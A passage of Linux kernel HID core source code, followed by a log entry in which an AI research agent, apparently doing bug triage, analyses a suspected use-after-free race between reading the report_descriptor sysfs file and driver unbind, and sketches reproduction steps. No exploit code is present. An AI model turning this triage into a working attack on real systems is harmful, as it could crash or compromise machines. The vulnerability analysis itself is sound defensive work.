dbg_hid("report %d is too short, (%d < %d)\n", report->id,
csize, rsize);
memset(cdata + csize, 0, rsize - csize);
}
if ((hid->claimed & HID_CLAIMED_HIDDEV) && hid->hiddev_report_event)
hid->hiddev_report_event(hid, report);
if (hid->claimed & HID_CLAIMED_HIDRAW) {
ret = hidraw_report_event(hid, data, size);
if (ret)
return ret;
}
if (hid->claimed != HID_CLAIMED_HIDRAW && report->maxfield) {
hid_process_report(hid, report, cdata, interrupt);
hdrv = hid->driver;
if (hdrv && hdrv->report)
hdrv->report(hid, report);
}
if (hid->claimed & HID_CLAIMED_INPUT)
hidinput_report_event(hid, report);
return ret;
}
EXPORT_SYMBOL_GPL(hid_report_raw_event);
static int __hid_input_report(struct hid_device *hid, enum hid_report_type type,
u8 *data, size_t bufsize, u32 size, int interrupt, u64 source,
bool from_bpf, bool lock_already_taken)
{
struct hid_report_enum *report_enum;
struct hid_driver *hdrv;
struct hid_report *report;
int ret = 0;
if (!hid)
return -ENODEV;
ret = down_trylock(&hid->driver_input_lock);
if (lock_already_taken && !ret) {
up(&hid->driver_input_lock);
return -EINVAL;
} else if (!lock_already_taken && ret) {
return -EBUSY;
}
if (!hid->driver) {
ret = -ENODEV;
goto unlock;
}
report_enum = hid->report_enum + type;
hdrv = hid->driver;
data = dispatch_hid_bpf_device_event(hid, type, data, &bufsize, &size, interrupt,
source, from_bpf);
if (IS_ERR(data)) {
ret = PTR_ERR(data);
goto unlock;
}
if (!size) {
dbg_hid("empty report\n");
ret = -1;
goto unlock;
}
/* Avoid unnecessary overhead if debugfs is disabled */
if (!list_empty(&hid->debug_list))
hid_dump_report(hid, type, data, size);
report = hid_get_report(report_enum, data);
if (!report) {
ret = -1;
goto unlock;
}
if (hdrv && hdrv->raw_event && hid_match_report(hid, report)) {
ret = hdrv->raw_event(hid, report, data, size);
if (ret < 0)
goto unlock;
}
ret = hid_report_raw_event(hid, type, data, bufsize, size, interrupt);
unlock:
if (!lock_already_taken)
up(&hid->driver_input_lock);
return ret;
}
/**
* hid_input_report - report data from lower layer (usb, bt...)
*
* @hid: hid device
* @type: HID report type (HID_*_REPORT)
* @data: report contents
* @size: size of data parameter
* @interrupt: distinguish between interrupt and control transfers
*
* This is data entry for lower layers.
* Legacy, please use hid_safe_input_report() instead.
*/
int hid_input_report(struct hid_device *hid, enum hid_report_type type, u8 *data, u32 size,
int interrupt)
{
return __hid_input_report(hid, type, data, size, size, interrupt, 0,
false, /* from_bpf */
false /* lock_already_taken */);
}
EXPORT_SYMBOL_GPL(hid_input_report);
/**
* hid_safe_input_report - report data from lower layer (usb, bt...)
*
* @hid: hid device
* @type: HID report type (HID_*_REPORT)
* @data: report contents
* @bufsize: allocated size of the data buffer
* @size: useful size of data parameter
* @interrupt: distinguish between interrupt and control transfers
*
* This is data entry for lower layers.
* Please use this function instead of the non safe version because we provide
* here the size of the buffer, allowing hid-core to make smarter decisions
* regarding the incoming buffer.
*/
int hid_safe_input_report(struct hid_device *hid, enum hid_report_type type, u8 *data,
size_t bufsize, u32 size, int interrupt)
{
return __hid_input_report(hid, type, data, bufsize, size, interrupt, 0,
false, /* from_bpf */
false /* lock_already_taken */);
}
EXPORT_SYMBOL_GPL(hid_safe_input_report);
bool hid_match_one_id(const struct hid_device *hdev,
const struct hid_device_id *id)
{
return (id->bus == HID_BUS_ANY || id->bus == hdev->bus) &&
(id->group == HID_GROUP_ANY || id->group == hdev->group) &&
(id->vendor == HID_ANY_ID || id->vendor == hdev->vendor) &&
(id->product == HID_ANY_ID || id->product == hdev->product);
}
const struct hid_device_id *hid_match_id(const struct hid_device *hdev,
const struct hid_device_id *id)
{
for (; id->bus; id++)
if (hid_match_one_id(hdev, id))
return id;
return NULL;
}
EXPORT_SYMBOL_GPL(hid_match_id);
static const struct hid_device_id hid_hiddev_list[] = {
{ HID_USB_DEVICE(USB_VENDOR_ID_MGE, USB_DEVICE_ID_MGE_UPS) },
{ HID_USB_DEVICE(USB_VENDOR_ID_MGE, USB_DEVICE_ID_MGE_UPS1) },
{ }
};
static bool hid_hiddev(struct hid_device *hdev)
{
return !!hid_match_id(hdev, hid_hiddev_list);
}
static ssize_t
report_descriptor_read(struct file *filp, struct kobject *kobj,
const struct bin_attribute *attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = kobj_to_dev(kobj);
struct hid_device *hdev = to_hid_device(dev);
if (off >= hdev->rsize)
return 0;
if (off + count > hdev->rsize)
count = hdev->rsize - off;
memcpy(buf, hdev->rdesc + off, count);
return count;
}
static ssize_t
country_show(struct device *dev, struct device_attribute *attr,
char *buf)
{
struct hid_device *hdev = to_hid_device(dev);
return sprintf(buf, "%02x\n", hdev->country & 0xff);
}
static const BIN_ATTR_RO(report_descriptor, HID_MAX_DESCRIPTOR_SIZE);
static const DEVICE_ATTR_RO(country);
int hid_connect(struct hid_device *hdev, unsigned int connect_mask)
{
static const char *types[] = { "Device", "Pointer", "Mouse", "Device",
"Joystick", "Gamepad", "Keyboard", "Keypad",
"Multi-Axis Controller"
};
const char *type, *bus;
char buf[64] = "";
unsigned int i;
int len;
int ret;
ret = hid_bpf_connect_device(hdev);
if (ret)
return ret;
if (hdev->quirks & HID_QUIRK_HIDDEV_FORCE)
connect_mask |= (HID_CONNECT_HIDDEV_FORCE | HID_CONNECT_HIDDEV);
if (hdev->quirks & HID_QUIRK_HIDINPUT_FORCE)
connect_mask |= HID_CONNECT_HIDINPUT_FORCE;
if (hdev->bus != BUS_USB)
connect_mask &= ~HID_CONNECT_HIDDEV;
if (hid_hiddev(hdev))
connect_mask |= HID_CONNECT_HIDDEV_FORCE;
if ((connect_mask & HID_CONNECT_HIDINPUT) && !hidinput_connect(hdev,
connect_mask & HID_CONNECT_HIDINPUT_FORCE))
hdev->claimed |= HID_CLAIMED_INPUT;
if ((connect_mask & HID_CONNECT_HIDDEV) && hdev->hiddev_connect &&
!hdev->hiddev_connect(hdev,
connect_mask & HID_CONNECT_HIDDEV_FORCE))
hdev->claimed |= HID_CLAIMED_HIDDEV;
if ((connect_mask & HID_CONNECT_HIDRAW) && !hidraw_connect(hdev))
hdev->claimed |= HID_CLAIMED_HIDRAW;
if (connect_mask & HID_CONNECT_DRIVER)
hdev->claimed |= HID_CLAIMED_DRIVER;
/* Drivers with the ->raw_event callback set are not required to connect
* to any other listener. */
if (!hdev->claimed && !hdev->driver->raw_event) {
hid_err(hdev, "device has no listeners, quitting\n");
return -ENODEV;
}
hid_process_ordering(hdev);
if ((hdev->claimed & HID_CLAIMED_INPUT) &&
(connect_mask & HID_CONNECT_FF) && hdev->ff_init)
hdev->ff_init(hdev);
len = 0;
if (hdev->claimed & HID_CLAIMED_INPUT)
len += sprintf(buf + len, "input");
if (hdev->claimed & HID_CLAIMED_HIDDEV)
len += sprintf(buf + len, "%shiddev%d", len ? "," : "",
((struct hiddev *)hdev->hiddev)->minor);
if (hdev->claimed & HID_CLAIMED_HIDRAW)
len += sprintf(buf + len, "%shidraw%d", len ? "," : "",
((struct hidraw *)hdev->hidraw)->minor);
type = "Device";
for (i = 0; i < hdev->maxcollection; i++) {
struct hid_collection *col = &hdev->collection[i];
if (col->type == HID_COLLECTION_APPLICATION &&
(col->usage & HID_USAGE_PAGE) == HID_UP_GENDESK &&
(col->usage & 0xffff) < ARRAY_SIZE(types)) {
type = types[col->usage & 0xffff];
break;
}
}
switch (hdev->bus) {
case BUS_USB:
bus = "USB";
break;
case BUS_BLUETOOTH:
bus = "BLUETOOTH";
break;
case BUS_I2C:
bus = "I2C";
break;
case BUS_SDW:
bus = "SOUNDWIRE";
break;
case BUS_VIRTUAL:
bus = "VIRTUAL";
break;
case BUS_INTEL_ISHTP:
case BUS_AMD_SFH:
bus = "SENSOR HUB";
break;
default:
bus = "<UNKNOWN>";
}
ret = device_create_file(&hdev->dev, &dev_attr_country);
if (ret)
hid_warn(hdev,
"can't create sysfs country code attribute err: %d\n", ret);
hid_info(hdev, "%s: %s HID v%x.%02x %s [%s] on %s\n",
buf, bus, hdev->version >> 8, hdev->version & 0xff,
type, hdev->name, hdev->phys);
return 0;
}
EXPORT_SYMBOL_GPL(hid_connect);
void hid_disconnect(struct hid_device *hdev)
{
device_remove_file(&hdev->dev, &dev_attr_country);
if (hdev->claimed & HID_CLAIMED_INPUT)
hidinput_disconnect(hdev);
if (hdev->claimed & HID_CLAIMED_HIDDEV)
hdev->hiddev_disconnect(hdev);
if (hdev->claimed & HID_CLAIMED_HIDRAW)
hidraw_disconnect(hdev);
hdev->claimed = 0;
hid_bpf_disconnect_device(hdev);
}
EXPORT_SYMBOL_GPL(hid_disconnect);
/**
* hid_hw_start - start underlying HW
* @hdev: hid device
* @connect_mask: which outputs to connect, see HID_CONNECT_*
*
* Call this in probe function *after* hid_parse. This will setup HW
* buffers and start the device (if not defeirred to device open).
* hid_hw_stop must be called if this was successful.
*/
int hid_hw_start(struct hid_device *hdev, unsigned int connect_mask)
{
int error;
error = hdev->ll_driver->start(hdev);
if (error)
return error;
if (connect_mask) {
error = hid_connect(hdev, connect_mask);
if (error) {
hdev->ll_driver->stop(hdev);
return error;
}
}
return 0;
}
EXPORT_SYMBOL_GPL(hid_hw_start);
/**
* hid_hw_stop - stop underlying HW
* @hdev: hid device
*
* This is usually called from remove function or from probe when something
* failed and hid_hw_start was called already.
*/
void hid_hw_stop(struct hid_device *hdev)
{
hid_disconnect(hdev);
hdev->ll_driver->stop(hdev);
}
EXPORT_SYMBOL_GPL(hid_hw_stop);
/**
* hid_hw_open - signal underlying HW to start delivering events
* @hdev: hid device
*
* Tell underlying HW to start delivering events from the device.
* This function should be called sometime after successful call
* to hid_hw_start().
*/
int hid_hw_open(struct hid_device *hdev)
{
int ret;
ret = mutex_lock_killable(&hdev->ll_open_lock);
if (ret)
return ret;
if (!hdev->ll_open_count++) {
ret = hdev->ll_driver->open(hdev);
if (ret)
hdev->ll_open_count--;
if (hdev->driver->on_hid_hw_open)
hdev->driver->on_hid_hw_open(hdev);
}
mutex_unlock(&hdev->ll_open_lock);
return ret;
}
EXPORT_SYMBOL_GPL(hid_hw_open);
/**
* hid_hw_close - signal underlaying HW to stop delivering events
*
* @hdev: hid device
*
* This function indicates that we are not interested in the events
* from this device anymore. Delivery of events may or may not stop,
* depending on the number of users still outstanding.
*/
void hid_hw_close(struct hid_device *hdev)
{
mutex_lock(&hdev->ll_open_lock);
if (!--hdev->ll_open_count) {
hdev->ll_driver->close(hdev);
if (hdev->driver->on_hid_hw_close)
hdev->driver->on_hid_hw_close(hdev);
}
mutex_unlock(&hdev->ll_open_lock);
}
EXPORT_SYMBOL_GPL(hid_hw_close);
/**
* hid_hw_request - send report request to device
*
* @hdev: hid device
* @report: report to send
* @reqtype: hid request type
*/
void hid_hw_request(struct hid_device *hdev,
struct hid_report *report, enum hid_class_request reqtype)
{
if (hdev->ll_driver->request)
return hdev->ll_driver->request(hdev, report, reqtype);
__hid_request(hdev, report, reqtype);
}
EXPORT_SYMBOL_GPL(hid_hw_request);
int __hid_hw_raw_request(struct hid_device *hdev,
unsigned char reportnum, __u8 *buf,
size_t len, enum hid_report_type rtype,
enum hid_class_request reqtype,
u64 source, bool from_bpf)
{
unsigned int max_buffer_size = HID_MAX_BUFFER_SIZE;
int ret;
if (hdev->ll_driver->max_buffer_size)
max_buffer_size = hdev->ll_driver->max_buffer_size;
if (len < 1 || len > max_buffer_size || !buf)
return -EINVAL;
ret = dispatch_hid_bpf_raw_requests(hdev, reportnum, buf, len, rtype,
reqtype, source, from_bpf);
if (ret)
return ret;
return hdev->ll_driver->raw_request(hdev, reportnum, buf, len,
rtype, reqtype);
}
/**
* hid_hw_raw_request - send report request to device
*
* @hdev: hid device
* @reportnum: report ID
* @buf: in/out data to transfer
* @len: length of buf
* @rtype: HID report type
* @reqtype: HID_REQ_GET_REPORT or HID_REQ_SET_REPORT
*
* Return: count of data transferred, negative if error
*
* Same behavior as hid_hw_request, but with raw buffers instead.
*/
int hid_hw_raw_request(struct hid_device *hdev,
unsigned char reportnum, __u8 *buf,
size_t len, enum hid_report_type rtype, enum hid_class_request reqtype)
{
return __hid_hw_raw_request(hdev, reportnum, buf, len, rtype, reqtype, 0, false);
}
EXPORT_SYMBOL_GPL(hid_hw_raw_request);
int __hid_hw_output_report(struct hid_device *hdev, __u8 *buf, size_t len, u64 source,
bool from_bpf)
{
unsigned int max_buffer_size = HID_MAX_BUFFER_SIZE;
int ret;
if (hdev->ll_driver->max_buffer_size)
max_buffer_size = hdev->ll_driver->max_buffer_size;
if (len < 1 || len > max_buffer_size || !buf)
return -EINVAL;
ret = dispatch_hid_bpf_output_report(hdev, buf, len, source, from_bpf);
if (ret)
return ret;
if (hdev->ll_driver->output_report)
return hdev->ll_driver->output_report(hdev, buf, len);
return -ENOSYS;
}
/**
* hid_hw_output_report - send output report to device
*
* @hdev: hid device
* @buf: raw data to transfer
* @len: length of buf
*
* Return: count of data transferred, negative if error
*/
int hid_hw_output_report(struct hid_device *hdev, __u8 *buf, size_t len)
{
return __hid_hw_output_report(hdev, buf, len, 0, false);
}
EXPORT_SYMBOL_GPL(hid_hw_output_report);
#ifdef CONFIG_PM
int hid_driver_suspend(struct hid_device *hdev, pm_message_t state)
{
if (hdev->driver && hdev->driver->suspend)
return hdev->driver->suspend(hdev, state);
return 0;
}
EXPORT_SYMBOL_GPL(hid_driver_suspend);
int hid_driver_reset_resume(struct hid_device *hdev)
{
if (hdev->driver && hdev->driver->reset_resume)
return hdev->driver->reset_resume(hdev);
return 0;
}
EXPORT_SYMBOL_GPL(hid_driver_reset_resume);
int hid_driver_resume(struct hid_device *hdev)
{
if (hdev->driver && hdev->driver->resume)
return hdev->driver->resume(hdev);
return 0;
}
EXPORT_SYMBOL_GPL(hid_driver_resume);
#endif /* CONFIG_PM */
struct hid_dynid {
struct list_head list;
struct hid_device_id id;
};
/**
* new_id_store - add a new HID device ID to this driver and re-probe devices
* @drv: target device driver
* @buf: buffer for scanning device ID data
* @count: input size
*
* Adds a new dynamic hid device ID to this driver,
* and causes the driver to probe for all devices again.
*/
static ssize_t new_id_store(struct device_driver *drv, const char *buf,
size_t count)
{
struct hid_driver *hdrv = to_hid_driver(drv);
struct hid_dynid *dynid;
__u32 bus, vendor, product;
unsigned long driver_data = 0;
int ret;
ret = sscanf(buf, "%x %x %x %lx",
&bus, &vendor, &product, &driver_data);
if (ret < 3)
return -EINVAL;
dynid = kzalloc_obj(*dynid);
if (!dynid)
return -ENOMEM;
dynid->id.bus = bus;
dynid->id.group = HID_GROUP_ANY;
dynid->id.vendor = vendor;
dynid->id.product = product;
dynid->id.driver_data = driver_data;
spin_lock(&hdrv->dyn_lock);
list_add_tail(&dynid->list, &hdrv->dyn_list);
spin_unlock(&hdrv->dyn_lock);
ret = driver_attach(&hdrv->driver);
return ret ? : count;
}
static DRIVER_ATTR_WO(new_id);
static struct attribute *hid_drv_attrs[] = {
&driver_attr_new_id.attr,
NULL,
};
ATTRIBUTE_GROUPS(hid_drv);
static void hid_free_dynids(struct hid_driver *hdrv)
{
struct hid_dynid *dynid, *n;
spin_lock(&hdrv->dyn_lock);
list_for_each_entry_safe(dynid, n, &hdrv->dyn_list, list) {
list_del(&dynid->list);
kfree(dynid);
}
spin_unlock(&hdrv->dyn_lock);
}
const struct hid_device_id *hid_match_device(struct hid_device *hdev,
struct hid_driver *hdrv)
{
struct hid_dynid *dynid;
spin_lock(&hdrv->dyn_lock);
list_for_each_entry(dynid, &hdrv->dyn_list, list) {
if (hid_match_one_id(hdev, &dynid->id)) {
spin_unlock(&hdrv->dyn_lock);
return &dynid->id;
}
}
spin_unlock(&hdrv->dyn_lock);
return hid_match_id(hdev, hdrv->id_table);
}
EXPORT_SYMBOL_GPL(hid_match_device);
static int hid_bus_match(struct device *dev, const struct device_driver *drv)
{
struct hid_driver *hdrv = to_hid_driver(drv);
struct hid_device *hdev = to_hid_device(dev);
return hid_match_device(hdev, hdrv) != NULL;
}
/**
* hid_compare_device_paths - check if both devices share the same path
* @hdev_a: hid device
* @hdev_b: hid device
* @separator: char to use as separator
*
* Check if two devices share the same path up to the last occurrence of
* the separator char. Both paths must exist (i.e., zero-length paths
* don't match).
*/
bool hid_compare_device_paths(struct hid_device *hdev_a,
struct hid_device *hdev_b, char separator)
{
int n1 = strrchr(hdev_a->phys, separator) - hdev_a->phys;
int n2 = strrchr(hdev_b->phys, separator) - hdev_b->phys;
if (n1 != n2 || n1 <= 0 || n2 <= 0)
return false;
return !strncmp(hdev_a->phys, hdev_b->phys, n1);
}
EXPORT_SYMBOL_GPL(hid_compare_device_paths);
static bool hid_check_device_match(struct hid_device *hdev,
struct hid_driver *hdrv,
const struct hid_device_id **id)
{
*id = hid_match_device(hdev, hdrv);
if (!*id)
return false;
if (hdrv->match)
return hdrv->match(hdev, hid_ignore_special_drivers);
/*
* hid-generic implements .match(), so we must be dealing with a
* different HID driver here, and can simply check if
* hid_ignore_special_drivers or HID_QUIRK_IGNORE_SPECIAL_DRIVER
* are set or not.
*/
return !hid_ignore_special_drivers && !(hdev->quirks & HID_QUIRK_IGNORE_SPECIAL_DRIVER);
}
static void hid_set_group(struct hid_device *hdev)
{
int ret;
if (hid_ignore_special_drivers) {
hdev->group = HID_GROUP_GENERIC;
} else if (!hdev->group &&
!(hdev->quirks & HID_QUIRK_HAVE_SPECIAL_DRIVER)) {
ret = hid_scan_report(hdev);
if (ret)
hid_warn(hdev, "bad device descriptor (%d)\n", ret);
}
}
static int __hid_device_probe(struct hid_device *hdev, struct hid_driver *hdrv)
{
const struct hid_device_id *id;
int ret;
if (!hdev->bpf_rsize) {
/* we keep a reference to the currently scanned report descriptor */
const __u8 *original_rdesc = hdev->bpf_rdesc;
if (!original_rdesc)
original_rdesc = hdev->dev_rdesc;
/* in case a bpf program gets detached, we need to free the old one */
hid_free_bpf_rdesc(hdev);
/* keep this around so we know we called it once */
hdev->bpf_rsize = hdev->dev_rsize;
/* call_hid_bpf_rdesc_fixup will always return a valid pointer */
hdev->bpf_rdesc = call_hid_bpf_rdesc_fixup(hdev, hdev->dev_rdesc,
&hdev->bpf_rsize);
/* the report descriptor changed, we need to re-scan it */
if (original_rdesc != hdev->bpf_rdesc) {
hdev->group = 0;
hid_set_group(hdev);
}
}
if (!hid_check_device_match(hdev, hdrv, &id))
return -ENODEV;
hdev->devres_group_id = devres_open_group(&hdev->dev, NULL, GFP_KERNEL);
if (!hdev->devres_group_id)
return -ENOMEM;
/* reset the quirks that has been previously set */
hdev->quirks = hid_lookup_quirk(hdev);
hdev->driver = hdrv;
if (hdrv->probe) {
ret = hdrv->probe(hdev, id);
} else { /* default probe */
ret = hid_open_report(hdev);
if (!ret)
ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT);
}
/*
* Note that we are not closing the devres group opened above so
* even resources that were attached to the device after probe is
* run are released when hid_device_remove() is executed. This is
* needed as some drivers would allocate additional resources,
* for example when updating firmware.
*/
if (ret) {
devres_release_group(&hdev->dev, hdev->devres_group_id);
hid_close_report(hdev);
hdev->driver = NULL;
}
return ret;
}
static int hid_device_probe(struct device *dev)
{
struct hid_device *hdev = to_hid_device(dev);
struct hid_driver *hdrv = to_hid_driver(dev->driver);
int ret = 0;
if (down_interruptible(&hdev->driver_input_lock))
return -EINTR;
hdev->io_started = false;
clear_bit(ffs(HID_STAT_REPROBED), &hdev->status);
if (!hdev->driver)
ret = __hid_device_probe(hdev, hdrv);
if (!hdev->io_started)
up(&hdev->driver_input_lock);
return ret;
}
static void hid_device_remove(struct device *dev)
{
struct hid_device *hdev = to_hid_device(dev);
struct hid_driver *hdrv;
down(&hdev->driver_input_lock);
hdev->io_started = false;
hdrv = hdev->driver;
if (hdrv) {
if (hdrv->remove)
hdrv->remove(hdev);
else /* default remove */
hid_hw_stop(hdev);
/* Release all devres resources allocated by the driver */
devres_release_group(&hdev->dev, hdev->devres_group_id);
hid_close_report(hdev);
hdev->driver = NULL;
}
if (!hdev->io_started)
up(&hdev->driver_input_lock);
}
static ssize_t modalias_show(struct device *dev, struct device_attribute *a,
char *buf)
{
struct hid_device *hdev = container_of(dev, struct hid_device, dev);
return sysfs_emit(buf, "hid:b%04Xg%04Xv%08Xp%08X\n",
hdev->bus, hdev->group, hdev->vendor, hdev->product);
}
static DEVICE_ATTR_RO(modalias);
static struct attribute *hid_dev_attrs[] = {
&dev_attr_modalias.attr,
NULL,
};
static const struct bin_attribute *hid_dev_bin_attrs[] = {
&bin_attr_report_descriptor,
NULL
};
static const struct attribute_group hid_dev_group = {
.attrs = hid_dev_attrs,
.bin_attrs = hid_dev_bin_attrs,
};
__ATTRIBUTE_GROUPS(hid_dev);
static int hid_uevent(const struct device *dev, struct kobj_uevent_env *env)
{
const struct hid_device *hdev = to_hid_device(dev);
if (add_uevent_var(env, "HID_ID=%04X:%08X:%08X",
hdev->bus, hdev->vendor, hdev->product))
return -ENOMEM;
if (add_uevent_var(env, "HID_NAME=%s", hdev->name))
return -ENOMEM;
if (add_uevent_var(env, "HID_PHYS=%s", hdev->phys))
return -ENOMEM;
if (add_uevent_var(env, "HID_UNIQ=%s", hdev->uniq))
return -ENOMEM;
if (add_uevent_var(env, "MODALIAS=hid:b%04Xg%04Xv%08Xp%08X",
hdev->bus, hdev->group, hdev->vendor, hdev->product))
return -ENOMEM;
if (hdev->firmware_version) {
if (add_uevent_var(env, "HID_FIRMWARE_VERSION=0x%04llX",
hdev->firmware_version))
return -ENOMEM;
}
return 0;
}
const struct bus_type hid_bus_type = {
.name = "hid",
.dev_groups = hid_dev_groups,
.drv_groups = hid_drv_groups,
.match = hid_bus_match,
.probe = hid_device_probe,
.remove = hid_device_remove,
.uevent = hid_uevent,
};
EXPORT_SYMBOL(hid_bus_type);
int hid_add_device(struct hid_device *hdev)
{
static atomic_t id = ATOMIC_INIT(0);
int ret;
if (WARN_ON(hdev->status & HID_STAT_ADDED))
return -EBUSY;
hdev->quirks = hid_lookup_quirk(hdev);
/* we need to kill them here, otherwise they will stay allocated to
* wait for coming driver */
if (hid_ignore(hdev))
return -ENODEV;
/*
* Check for the mandatory transport channel.
*/
if (!hdev->ll_driver->raw_request) {
hid_err(hdev, "transport driver missing .raw_request()\n");
return -EINVAL;
}
/*
* Read the device report descriptor once and use as template
* for the driver-specific modifications.
*/
ret = hdev->ll_driver->parse(hdev);
if (ret)
return ret;
if (!hdev->dev_rdesc)
return -ENODEV;
/*
* Scan generic devices for group information
*/
hid_set_group(hdev);
hdev->id = atomic_inc_return(&id);
/* XXX hack, any other cleaner solution after the driver core
* is converted to allow more than 20 bytes as the device name? */
dev_set_name(&hdev->dev, "%04X:%04X:%04X.%04X", hdev->bus,
hdev->vendor, hdev->product, hdev->id);
hid_debug_register(hdev, dev_name(&hdev->dev));
ret = device_add(&hdev->dev);
if (!ret)
hdev->status |= HID_STAT_ADDED;
else
hid_debug_unregister(hdev);
return ret;
}
EXPORT_SYMBOL_GPL(hid_add_device);
/**
* hid_allocate_device - allocate new hid device descriptor
*
* Allocate and initialize hid device, so that hid_destroy_device might be
* used to free it.
*
* New hid_device pointer is returned on success, otherwise ERR_PTR encoded
* error value.
*/
struct hid_device *hid_allocate_device(void)
{
struct hid_device *hdev;
int ret = -ENOMEM;
hdev = kzalloc_obj(*hdev);
if (hdev == NULL)
return ERR_PTR(ret);
device_initialize(&hdev->dev);
hdev->dev.release = hid_device_release;
hdev->dev.bus = &hid_bus_type;
device_enable_async_suspend(&hdev->dev);
hid_close_report(hdev);
init_waitqueue_head(&hdev->debug_wait);
INIT_LIST_HEAD(&hdev->debug_list);
spin_lock_init(&hdev->debug_list_lock);
sema_init(&hdev->driver_input_lock, 1);
mutex_init(&hdev->ll_open_lock);
kref_init(&hdev->ref);
#ifdef CONFIG_HID_BATTERY_STRENGTH
INIT_LIST_HEAD(&hdev->batteries);
#endif
ret = hid_bpf_device_init(hdev);
if (ret)
goto out_err;
return hdev;
out_err:
hid_destroy_device(hdev);
return ERR_PTR(ret);
}
EXPORT_SYMBOL_GPL(hid_allocate_device);
static void hid_remove_device(struct hid_device *hdev)
{
if (hdev->status & HID_STAT_ADDED) {
device_del(&hdev->dev);
hid_debug_unregister(hdev);
hdev->status &= ~HID_STAT_ADDED;
}
hid_free_bpf_rdesc(hdev);
kfree(hdev->dev_rdesc);
hdev->dev_rdesc = NULL;
hdev->dev_rsize = 0;
hdev->bpf_rsize = 0;
}
/**
* hid_destroy_device - free previously allocated device
*
* @hdev: hid device
*
* If you allocate hid_device through hid_allocate_device, you should ever
* free by this function.
*/
void hid_destroy_device(struct hid_device *hdev)
{
hid_bpf_destroy_device(hdev);
hid_remove_device(hdev);
put_device(&hdev->dev);
}
EXPORT_SYMBOL_GPL(hid_destroy_device);
static int __hid_bus_reprobe_drivers(struct device *dev, void *data)
{
struct hid_driver *hdrv = data;
struct hid_device *hdev = to_hid_device(dev);
if (hdev->driver == hdrv &&
!hdrv->match(hdev, hid_ignore_special_drivers) &&
!test_and_set_bit(ffs(HID_STAT_REPROBED), &hdev->status))
return device_reprobe(dev);
return 0;
}
static int __hid_bus_driver_added(struct device_driver *drv, void *data)
{
struct hid_driver *hdrv = to_hid_driver(drv);
if (hdrv->match) {
bus_for_each_dev(&hid_bus_type, NULL, hdrv,
__hid_bus_reprobe_drivers);
}
return 0;
}
static int __bus_removed_driver(struct device_driver *drv, void *data)
{
return bus_rescan_devices(&hid_bus_type);
}
int __hid_register_driver(struct hid_driver *hdrv, struct module *owner,
const char *mod_name)
{
int ret;
hdrv->driver.name = hdrv->name;
hdrv->driver.bus = &hid_bus_type;
hdrv->driver.owner = owner;
hdrv->driver.mod_name = mod_name;
INIT_LIST_HEAD(&hdrv->dyn_list);
spin_lock_init(&hdrv->dyn_lock);
ret = driver_register(&hdrv->driver);
if (ret == 0)
bus_for_each_drv(&hid_bus_type, NULL, NULL,
__hid_bus_driver_added);
return ret;
}
EXPORT_SYMBOL_GPL(__hid_register_driver);
void hid_unregister_driver(struct hid_driver *hdrv)
{
driver_unregister(&hdrv->driver);
hid_free_dynids(hdrv);
bus_for_each_drv(&hid_bus_type, NULL, hdrv, __bus_removed_driver);
}
EXPORT_SYMBOL_GPL(hid_unregister_driver);
int hid_check_keys_pressed(struct hid_device *hid)
{
struct hid_input *hidinput;
int i;
if (!(hid->claimed & HID_CLAIMED_INPUT))
return 0;
list_for_each_entry(hidinput, &hid->inputs, list) {
for (i = 0; i < BITS_TO_LONGS(KEY_MAX); i++)
if (hidinput->input->key[i])
return 1;
}
return 0;
}
EXPORT_SYMBOL_GPL(hid_check_keys_pressed);
#ifdef CONFIG_HID_BPF
static const struct hid_ops __hid_ops = {
.hid_get_report = hid_get_report,
.hid_hw_raw_request = __hid_hw_raw_request,
.hid_hw_output_report = __hid_hw_output_report,
.hid_input_report = __hid_input_report,
.owner = THIS_MODULE,
.bus_type = &hid_bus_type,
};
#endif
static int __init hid_init(void)
{
int ret;
ret = bus_register(&hid_bus_type);
if (ret) {
pr_err("can't register hid bus\n");
goto err;
}
#ifdef CONFIG_HID_BPF
hid_ops = &__hid_ops;
#endif
ret = hidraw_init();
if (ret)
goto err_bus;
hid_debug_init();
return 0;
err_bus:
bus_unregister(&hid_bus_type);
err:
return ret;
}
static void __exit hid_exit(void)
{
#ifdef CONFIG_HID_BPF
hid_ops = NULL;
#endif
hid_debug_exit();
hidraw_exit();
bus_unregister(&hid_bus_type);
hid_quirks_exit(HID_BUS_ANY);
}
module_init(hid_init);
module_exit(hid_exit);
MODULE_AUTHOR("Andreas Gal");
MODULE_AUTHOR("Vojtech Pavlik");
MODULE_AUTHOR("Jiri Kosina");
MODULE_DESCRIPTION("HID support for Linux");
MODULE_LICENSE("GPL");
]
|
| 21/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 41637
output: 44
thoughts: 1579
Thoughts: **Race Condition in `report_descriptor_read`**
Okay, so I'm looking at this `report_descriptor_read` function. It's a sysfs attribute, and it's how userspace gets the HID report descriptor. I can see from the code that `hdev->rdesc` and `hdev->rsize` are being accessed in this function, and it uses the `bin_attribute` to create a file in sysfs. Great, all as expected. The descriptor is accessed via sysfs, exposed for a HID device.
Now, the problem. I've noticed that there's no locking around the access to `hdev->rdesc` and `hdev->rsize`. That immediately flags a potential race condition in my mind. The `hid_device_remove` function is called when the driver is unloaded, which calls `hid_close_report(hdev)`. And what does `hid_close_report` do? It frees `hdev->rdesc`! It *also* sets `hdev->rsize` to zero. This happens during driver unbinding, or when a probe fails, or when a device is destroyed.
The race is this: if someone reads the `report_descriptor` file *while* the driver is being unbound, or even just after, then it's going to try to access memory that's been freed. If the read occurs *during* the unbind, `report_descriptor_read` could read `hdev->rsize` (which is > 0), then `hid_close_report` frees `hdev->rdesc`, then `report_descriptor_read` calls `memcpy` with a pointer to freed memory, leading to a crash.
I see that `hid_close_report` *specifically* frees the descriptor with `kfree(device->rdesc)`. If the read happens after `hid_close_report` sets `device->rsize` to zero, then `report_descriptor_read` returns 0.
Looking at the bug report, the descriptor allocation occurs during the probe of the `hid-lg` driver, specifically within the `hid_open_report` function, which is called from the probe function. The free is occurring via `rcu_core`. From the free trace, this appears to be a *page* free, not a slab free. The trace is pointing to a page free, and the slab free trace is missing. This is likely because it was overwritten. That's not ideal, but it confirms the descriptor is freed.
So, how do we reproduce this? I think the following steps can be used to reproduce the issue:
1. Load a HID driver like `hid-lg` (or any that calls `hid_open_report` which allocates `rdesc`). I need to check to see if `hid-lg` *actually* allocates `rdesc`.
2. If the driver has a report fixup, or calls `hid_open_report`, the `hdev->rdesc` member is allocated.
3. Unload the driver.
4. Attempt to read the `/sys/class/hid/hidrawX/device/report_descriptor` file at the same time. The read needs to happen during the driver removal process for a race.
|
| 22/2 |
